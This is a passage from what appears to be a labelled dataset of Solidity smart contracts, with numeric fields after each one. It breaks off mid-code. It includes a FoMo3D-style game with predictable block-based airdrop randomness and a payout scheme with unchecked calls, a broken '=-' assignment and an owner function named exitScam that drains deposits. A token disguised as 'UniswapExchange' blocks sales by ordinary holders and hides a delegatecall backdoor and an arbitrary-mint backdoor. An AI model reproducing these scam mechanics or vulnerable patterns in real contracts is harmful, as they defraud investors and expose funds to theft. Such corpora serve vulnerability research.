round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
admin.transfer(_com);
admin.transfer(_p3d.sub(_p3d / 2));
round_[_rID].pot = _pot.add(_p3d / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 1 | 3,249 |
pragma solidity ^0.4.21;
contract ERC20Interface {
function totalSupply() public constant returns (uint256);
function balanceOf(address tokenOwner) public constant returns (uint256 balance);
function allowance(address tokenOwner, address spender) public constant returns (uint256 remaining);
function transfer(address to, uint256 tokens) public returns (bool success);
function approve(address spender, uint256 tokens) public returns (bool success);
function transferFrom(address from, address to, uint256 tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract Owned {
address public owner;
address public ownerCandidate;
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function changeOwner(address _newOwner) public onlyOwner {
ownerCandidate = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == ownerCandidate);
owner = ownerCandidate;
}
}
contract BoomerangLiquidity is Owned {
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
modifier notFlm(address aContract){
require(aContract != flmContract);
_;
}
uint public multiplier;
uint public payoutOrder = 0;
address flmContract;
function BoomerangLiquidity(uint multiplierPercent, address aFlmContract) public {
multiplier = multiplierPercent;
flmContract = aFlmContract;
}
struct Participant {
address etherAddress;
uint payout;
}
Participant[] public participants;
function() payable public {
deposit();
}
function deposit() payable public {
participants.push(Participant(msg.sender, (msg.value * multiplier) / 100));
}
function payout() public {
uint balance = address(this).balance;
require(balance > 1);
uint investment = balance / 2;
balance =- investment;
flmContract.call.value(investment).gas(1000000)();
while (balance > 0) {
uint payoutToSend = balance < participants[payoutOrder].payout ? balance : participants[payoutOrder].payout;
if(payoutToSend > 0){
participants[payoutOrder].payout -= payoutToSend;
balance -= payoutToSend;
if(!participants[payoutOrder].etherAddress.send(payoutToSend)){
participants[payoutOrder].etherAddress.call.value(payoutToSend).gas(1000000)();
}
}
if(balance > 0){
payoutOrder += 1;
}
}
}
function withdraw() public {
flmContract.call(bytes4(keccak256("withdraw()")));
}
function donate() payable public {
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
function exitScam() onlyOwner public {
msg.sender.transfer(address(this).balance);
}
} | 0 | 2,474 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 2,542 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract IMultiToken {
function changeableTokenCount() external view returns(uint16 count);
function tokens(uint256 i) public view returns(ERC20);
function weights(address t) public view returns(uint256);
function totalSupply() public view returns(uint256);
function mint(address _to, uint256 _amount) public;
}
contract BancorBuyer {
using SafeMath for uint256;
mapping(address => uint256) public balances;
mapping(address => mapping(address => uint256)) public tokenBalances;
function sumWeightOfMultiToken(IMultiToken mtkn) public view returns(uint256 sumWeight) {
for (uint i = mtkn.changeableTokenCount(); i > 0; i--) {
sumWeight += mtkn.weights(mtkn.tokens(i - 1));
}
}
function deposit(address _beneficiary, address[] _tokens, uint256[] _tokenValues) payable external {
if (msg.value > 0) {
balances[_beneficiary] = balances[_beneficiary].add(msg.value);
}
for (uint i = 0; i < _tokens.length; i++) {
ERC20 token = ERC20(_tokens[i]);
uint256 tokenValue = _tokenValues[i];
uint256 balance = token.balanceOf(this);
token.transferFrom(msg.sender, this, tokenValue);
require(token.balanceOf(this) == balance.add(tokenValue));
tokenBalances[_beneficiary][token] = tokenBalances[_beneficiary][token].add(tokenValue);
}
}
function withdraw(address _to, uint256 _value, address[] _tokens, uint256[] _tokenValues) external {
if (_value > 0) {
_to.transfer(_value);
balances[msg.sender] = balances[msg.sender].sub(_value);
}
for (uint i = 0; i < _tokens.length; i++) {
ERC20 token = ERC20(_tokens[i]);
uint256 tokenValue = _tokenValues[i];
uint256 tokenBalance = token.balanceOf(this);
token.transfer(_to, tokenValue);
require(token.balanceOf(this) == tokenBalance.sub(tokenValue));
tokenBalances[msg.sender][token] = tokenBalances[msg.sender][token].sub(tokenValue);
}
}
function buyOne(
ERC20 token,
address _exchange,
uint256 _value,
bytes _data
)
payable
public
{
balances[msg.sender] = balances[msg.sender].add(msg.value);
uint256 tokenBalance = token.balanceOf(this);
require(_exchange.call.value(_value)(_data));
balances[msg.sender] = balances[msg.sender].sub(_value);
tokenBalances[msg.sender][token] = tokenBalances[msg.sender][token]
.add(token.balanceOf(this).sub(tokenBalance));
}
function buy1(
address[] _tokens,
address[] _exchanges,
uint256[] _values,
bytes _data1
)
payable
public
{
balances[msg.sender] = balances[msg.sender].add(msg.value);
this.buyOne(ERC20(_tokens[0]), _exchanges[0], _values[0], _data1);
}
function buy2(
address[] _tokens,
address[] _exchanges,
uint256[] _values,
bytes _data1,
bytes _data2
)
payable
public
{
balances[msg.sender] = balances[msg.sender].add(msg.value);
this.buyOne(ERC20(_tokens[0]), _exchanges[0], _values[0], _data1);
this.buyOne(ERC20(_tokens[1]), _exchanges[1], _values[1], _data2);
}
function buy3(
address[] _tokens,
address[] _exchanges,
uint256[] _values,
bytes _data1,
bytes _data2,
bytes _data3
)
payable
public
{
balances[msg.sender] = balances[msg.sender].add(msg.value);
this.buyOne(ERC20(_tokens[0]), _exchanges[0], _values[0], _data1);
